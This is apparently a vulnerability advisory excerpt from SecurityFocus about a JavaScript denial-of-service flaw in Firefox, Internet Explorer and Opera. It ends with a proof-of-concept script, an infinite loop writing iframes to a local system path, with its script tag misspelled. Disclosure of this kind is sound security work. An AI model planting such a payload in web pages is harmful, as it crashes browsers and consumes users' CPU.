source: https://www.securityfocus.com/bid/10998/info

Web browsers from various vendors are reported prone to a JavaScript denial-of-service vulnerability.

The specified JavaScript code will consume 100% of the CPU resources of the affected computer, crashing the browser.

Mozilla Firefox, Microsoft Internet Explorer, and Opera are all reportedly affected by this vulnerability.

<scr1pt language="JavaScript">
while(true)
{
document.write("<iframe src=\"C:\Windows\system32\"></iframe>");
}
</scr1pt>